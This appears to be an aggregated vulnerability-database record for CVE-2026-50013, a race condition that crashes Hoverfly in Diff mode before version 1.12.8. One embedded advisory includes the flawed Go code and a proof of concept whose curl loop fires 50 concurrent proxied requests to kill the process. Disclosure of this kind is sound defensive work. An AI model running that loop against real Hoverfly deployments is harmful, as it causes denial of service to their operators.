{"id":"CVE-2026-50013","revision":null,"records":[{"revision":"e5ed3569e41541289bbc37b536e10351","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-50013","aliases":[],"title":"Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.","state":0,"publishedAt":"2026-09-11T21:27:40.296+00:00","modifiedAt":"2026-09-14T18:17:21.942+00:00","affected":[{"ecosystem":"Vendor product","name":"hoverfly","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"SpectoLabs\",\n                    \"product\": \"hoverfly\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.12.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg","https://github.com/SpectoLabs/hoverfly/pull/1227","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-50013","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-50013","identifiers":["CVE-2026-50013"]},"retained":false,"historicalAffected":[]},{"revision":"a455990a08324ae7ac025e2702e63335","observedAt":"2026-11-11T13:05:34.296+00:00","statement":{"source":"euvd","id":"EUVD-2026-76755","aliases":["CVE-2026-50013","GHSA-qrh4-p6v4-mrfg"],"title":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy re…","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg","https://github.com/SpectoLabs/hoverfly/pull/1227","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-76755","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 11, 2026, 9:27:40 PM","dateUpdated":"Sep 14, 2026, 6:17:21 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-76755","identifiers":["EUVD-2026-76755","CVE-2026-50013","GHSA-qrh4-p6v4-mrfg"]},"retained":false,"historicalAffected":[]},{"revision":"83421311001e4a5e95fa7df1633bb169","observedAt":"2026-10-25T12:17:38.331+00:00","statement":{"source":"nvd","id":"CVE-2026-50013","aliases":[],"title":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy re…","description":"Hoverfly is an open source API simulation tool. Prior to version 1.12.8, when Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests. Version 1.12.8 patches the issue.","state":0,"publishedAt":"2026-09-11T22:16:37.813+00:00","modifiedAt":"2026-09-30T19:57:08.043+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/SpectoLabs/hoverfly/pull/1227","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8","https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50013","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-362","CWE-820"],"productCriteria":[],"sourceDates":{"published":"2026-09-11T22:16:37.813","lastModified":"2026-09-30T19:57:08.043"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-50013","identifiers":["CVE-2026-50013"]},"retained":false,"historicalAffected":[]},{"revision":"f5b5d401ffb5439b845309ef630e02b9","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-qrh4-p6v4-mrfg","aliases":["CVE-2026-50013","GO-2026-5977"],"title":"Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode","description":"### Summary:\n\nWhen Hoverfly is running in Diff mode, the `AddDiff()` function writes to the shared `responsesDiff` map without any synchronization (no mutex). When multiple proxy requests are processed concurrently (the normal case for any proxy), the concurrent map writes trigger Go's built-in race detector which causes a `fatal error: concurrent map read and map write`, immediately killing the entire Hoverfly process. This is trivially exploitable by sending multiple simultaneous requests.\n\n### Details:\n\n**1. Unsynchronized map access in `AddDiff()` (`core/hoverfly_service.go:417-421`):**\n\n```go\nfunc (hf *Hoverfly) AddDiff(requestView v2.SimpleRequestDefinitionView, diffReport v2.DiffReport) {\n    if len(diffReport.DiffEntries) > 0 {\n        diffs := hf.responsesDiff[requestView]                    // UNSYNCHRONIZED READ\n        hf.responsesDiff[requestView] = append(diffs, diffReport) // UNSYNCHRONIZED WRITE\n    }\n}\n```\n\n**2. This function is called from Diff mode processing, which runs concurrently per request (`core/modes/diff_mode.go`):**\n\nEach incoming proxy request is handled in its own goroutine by Go's `net/http` server. In Diff mode, each request calls `AddDiff()` after comparing the simulated and actual responses. With multiple concurrent requests, multiple goroutines write to the same map simultaneously.\n\n**3. Go's runtime detects concurrent map access and terminates the process:**\n\nUnlike data races on simple values (which produce undefined behavior silently), Go's map implementation includes a built-in concurrent access check. When two goroutines access the same map and at least one is writing, the runtime calls `fatal()` which is unrecoverable, it cannot be caught by `recover()`.\n\n**4. No mutex protection exists on `responsesDiff`:**\n\nThe field is declared as a plain `map[v2.SimpleRequestDefinitionView][]v2.DiffReport` with no associated `sync.RWMutex`. Compare with `hf.state` which properly uses `sync.RWMutex` for its map access.\n\n### Environment:\n\n- **Hoverfly version:** v1.12.7\n- **Operating System:** macOS Darwin 25.4.0\n- **Go version:** 1.26.2\n- **Configuration:** Hoverfly in Diff mode (`PUT /api/v2/hoverfly/mode {\"mode\":\"diff\"}`)\n\n### POC:\n\n**Step 1: Start Hoverfly and set Diff mode**\n\n```bash\n./hoverfly &\nsleep 2\n\n# Set diff mode\ncurl -X PUT http://localhost:8888/api/v2/hoverfly/mode \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"mode\": \"diff\"}'\n\n# Load a simulation for diff comparison\ncurl -X PUT http://localhost:8888/api/v2/simulation \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"data\": {\n      \"pairs\": [{\n        \"request\": {\"path\": [{\"matcher\": \"glob\", \"value\": \"*\"}]},\n        \"response\": {\"status\": 200, \"body\": \"expected\"}\n      }],\n      \"globalActions\": {\"delays\": [], \"delaysLogNormal\": []}\n    },\n    \"meta\": {\"schemaVersion\": \"v5.2\"}\n  }'\n```\n\n**Step 2: Send concurrent requests to trigger the race**\n\n```bash\n# Send 50 concurrent requests, race condition triggers within seconds\nfor i in $(seq 1 50); do\n    curl -s -x http://localhost:8500 \"http://httpbin.org/get?id=$i\" &\ndone\nwait\n```\n\n**Step 3: Observe the crash**\n\n```bash\n# Check if process is still running\npgrep -f hoverfly\n```\n\n**crash output on Hoverfly v1.12.7:**\n\n```\nfatal error: concurrent map read and map write\n\ngoroutine 892 [running]:\ngithub.com/SpectoLabs/hoverfly/core.(*Hoverfly).AddDiff(...)\n        /core/hoverfly_service.go:419\ngithub.com/SpectoLabs/hoverfly/core/modes.(*DiffMode).Process(...)\n```\n\nThe process crashes with ~50 concurrent requests. In production with real traffic, it crashes almost immediately.\n\n### Impact:\n\n- **Full denial of service:** The process terminates immediately and cannot be recovered without a restart\n- **Trivial exploitation:** Any attacker with proxy access can trigger this by sending multiple concurrent requests\n- **No admin API access required:** Only proxy port access is needed to trigger the crash\n- **Unrecoverable:** `fatal error` in Go cannot be caught by `recover()` — the process is unconditionally killed\n- **Affects all Diff mode users:** Any team using Diff mode for API comparison testing is vulnerable","state":0,"publishedAt":"2026-07-14T18:03:10+00:00","modifiedAt":"2026-07-21T19:19:02.8992141+00:00","affected":[{"ecosystem":"Go","name":"github.com/SpectoLabs/hoverfly","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.12.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg","https://github.com/SpectoLabs/hoverfly/pull/1227","https://github.com/SpectoLabs/hoverfly","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://github.com/advisories/GHSA-qrh4-p6v4-mrfg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-qrh4-p6v4-mrfg","identifiers":["GHSA-qrh4-p6v4-mrfg","CVE-2026-50013","GO-2026-5977"]},"retained":false,"historicalAffected":[]},{"revision":"bdfd4d38e4d0436786d0d8da8471666f","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5977","aliases":["CVE-2026-50013","GHSA-qrh4-p6v4-mrfg"],"title":"Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly","description":"Hoverfly: Process Crash via Concurrent Map Write Race Condition in Diff Mode in github.com/SpectoLabs/hoverfly","state":0,"publishedAt":"2026-07-17T19:42:05+00:00","modifiedAt":"2026-07-21T19:15:30.6535516+00:00","affected":[{"ecosystem":"Go","name":"github.com/SpectoLabs/hoverfly","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.12.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-qrh4-p6v4-mrfg","https://github.com/SpectoLabs/hoverfly/pull/1227","https://github.com/SpectoLabs/hoverfly/releases/tag/v1.12.8"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5977","license":"OSV · upstream source license applies","key":"osv:GO-2026-5977","identifiers":["GO-2026-5977","CVE-2026-50013","GHSA-qrh4-p6v4-mrfg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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